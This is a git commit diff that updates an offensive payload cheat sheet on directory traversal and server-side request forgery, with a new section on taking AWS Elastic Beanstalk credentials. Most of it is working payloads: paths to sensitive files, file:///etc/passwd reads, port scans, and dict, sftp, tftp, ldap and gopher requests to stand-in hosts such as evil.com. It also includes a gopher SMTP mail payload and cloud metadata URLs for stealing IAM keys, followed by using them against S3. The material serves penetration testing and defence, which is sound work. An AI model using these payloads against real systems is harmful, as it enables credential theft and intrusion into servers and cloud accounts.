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SSRF AWS Elastic Beanstak

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Swissky 2019-04-21 18:51:32 +02:00
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1
Directory Traversal/README.md
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@ -119,6 +119,7 @@ The following log files are controllable and can be included with an evil payloa
Other easy win files.
```powershell
/proc/self/cwd/index.php
/home/$USER/.bash_history
/var/run/secrets/kubernetes.io/serviceaccount
```

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Server Side Request Forgery/Images/aws-cli.jpg Normal file
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Server Side Request Forgery/README.md
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@ -8,9 +8,17 @@ Server Side Request Forgery or SSRF is a vulnerability in which an attacker forc
* [Payloads with localhost](#payloads-with-localhost)
* [Bypassing filters](#bypassing-filters)
* [SSRF exploitation via URL Scheme](#ssrf-exploitation-via-url-scheme)
* [file://](#file)
* [http://](#http)
* [dict://](#dict)
* [sftp://](#sftp)
* [tftp://](#tftp)
* [ldap://](#ldap)
* [gopher://](#gopher)
* [SSRF to XSS](#ssrf-to-xss-by-d0rkerdevil--alyssaoherrera)
* [SSRF URL for Cloud Instances](#ssrf-url-for-cloud-instances)
* [SSRF URL for AWS Bucket](#ssrf-url-for-aws-bucket)
* [SSRF URL for AWS Elastic Beanstalk](#ssrf-url-for-aws-elastic-beanstalk)
* [SSRF URL for Google Cloud](#ssrf-url-for-google-cloud)
* [SSRF URL for Digital Ocean](#ssrf-url-for-digital-ocean)
* [SSRF URL for Packetcloud](#ssrf-url-for-packetcloud)
@ -189,7 +197,9 @@ http://127.1.1.1:80#\@127.2.2.2:80/
## SSRF exploitation via URL Scheme
File : allows an attacker to fetch the content of a file on the server
### File
Allows an attacker to fetch the content of a file on the server
```powershell
file://path/to/file
@ -198,7 +208,9 @@ file://\/\/etc/passwd
ssrf.php?url=file:///etc/passwd
```
Http: allows an attacker to fetch any content from the web, it can also be used to scan ports.
### HTTP
Allows an attacker to fetch any content from the web, it can also be used to scan ports.
```powershell
ssrf.php?url=http://127.0.0.1:22
@ -210,32 +222,40 @@ ssrf.php?url=http://127.0.0.1:443
The following URL scheme can be used to probe the network
Dict : the DICT URL scheme is used to refer to definitions or word lists available using the DICT protocol:
### Dict
The DICT URL scheme is used to refer to definitions or word lists available using the DICT protocol:
```powershell
dict://<user>;<auth>@<host>:<port>/d:<word>:<database>:<n>
ssrf.php?url=dict://attacker:11111/
```
Sftp : a network protocol used for secure file transfer over secure shell
### SFTP
A network protocol used for secure file transfer over secure shell
```powershell
ssrf.php?url=sftp://evil.com:11111/
```
Tftp : Trivial File Transfer Protocol, works over UDP
### TFTP
Trivial File Transfer Protocol, works over UDP
```powershell
ssrf.php?url=tftp://evil.com:12346/TESTUDPPACKET
```
Ldap : Lightweight Directory Access Protocol. It is an application protocol used over an IP network to manage and access the distributed directory information service.
### LDAP
Lightweight Directory Access Protocol. It is an application protocol used over an IP network to manage and access the distributed directory information service.
```powershell
ssrf.php?url=ldap://localhost:11211/%0astats%0aquit
```
Gopher
### Gopher
```powershell
ssrf.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a
@ -257,7 +277,7 @@ You didn't say the magic word !
QUIT
```
Gopher SMTP - Back connect to 1337
#### Gopher SMTP - Back connect to 1337
```php
Content of evil.com/redirect.php:
@ -269,7 +289,7 @@ Now query it.
https://example.com/?q=http://evil.com/redirect.php.
```
Gopher SMTP - send a mail
#### Gopher SMTP - send a mail
```php
Content of evil.com/redirect.php:
@ -357,12 +377,35 @@ http://169.254.169.254/latest/meta-data/public-keys/
http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key
http://169.254.169.254/latest/meta-data/public-keys/[ID]/openssh-key
http://169.254.169.254/latest/meta-data/iam/security-credentials/dummy
http://169.254.169.254/latest/meta-data/iam/security-credentials/s3access
http://169.254.169.254/latest/dynamic/instance-identity/document
```
E.g: Jira SSRF leading to AWS info disclosure - `https://help.redacted.com/plugins/servlet/oauth/users/icon-uri?consumerUri=http://169.254.169.254/metadata/v1/maintenance`
E.g2: Flaws challenge - `http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws/`
### SSRF URL for AWS Elastic Beanstalk
We retrieved the `accountId` and `region` from the API.
```powershell
http://169.254.169.254/latest/dynamic/instance-identity/document
http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role
```
We then retrieved the `AccessKeyId`, `SecretAccessKey`, and `Token` from the API.
```powershell
http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role
```
![notsosecureblog-awskey](https://www.notsosecure.com/wp-content/uploads/2019/02/aws-cli.jpg)
Then use the credentials with `aws s3 ls s3://elasticbeanstalk-us-east-2-[ACCOUNT_ID]/`.
### SSRF URL for Google Cloud
Requires the header "Metadata-Flavor: Google" or "X-Google-Metadata-Request: True"
@ -395,6 +438,7 @@ Interesting files to pull out:
- Get Access Token : `http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token`
- Kubernetes Key : `http://metadata.google.internal/computeMetadata/v1beta1/instance/attributes/kube-env?alt=json`
### SSRF URL for Digital Ocean
Documentation available at `https://developers.digitalocean.com/documentation/metadata/`
@ -520,4 +564,5 @@ More info: https://rancher.com/docs/rancher/v1.6/en/rancher-services/metadata-se
- [SSRF脆弱性を利用したGCE/GKEインスタンスへの攻撃例](https://blog.ssrf.in/post/example-of-attack-on-gce-and-gke-instance-using-ssrf-vulnerability/)
- [SSRF - Server Side Request Forgery (Types and ways to exploit it) Part-1 - SaN ThosH - 10 Jan 2019](https://medium.com/@madrobot/ssrf-server-side-request-forgery-types-and-ways-to-exploit-it-part-1-29d034c27978)
- [SSRF Protocol Smuggling in Plaintext Credential Handlers : LDAP - @0xrst](https://www.silentrobots.com/blog/2019/02/06/ssrf-protocol-smuggling-in-plaintext-credential-handlers-ldap/)
- [X-CTF Finals 2016 - John Slick (Web 25) - YEO QUAN YANG @quanyang](https://quanyang.github.io/x-ctf-finals-2016-john-slick-web-25/)
- [X-CTF Finals 2016 - John Slick (Web 25) - YEO QUAN YANG @quanyang](https://quanyang.github.io/x-ctf-finals-2016-john-slick-web-25/)
- [Exploiting SSRF in AWS Elastic Beanstalk - February 1, 2019 - @notsosecure](https://www.notsosecure.com/exploiting-ssrf-in-aws-elastic-beanstalk/)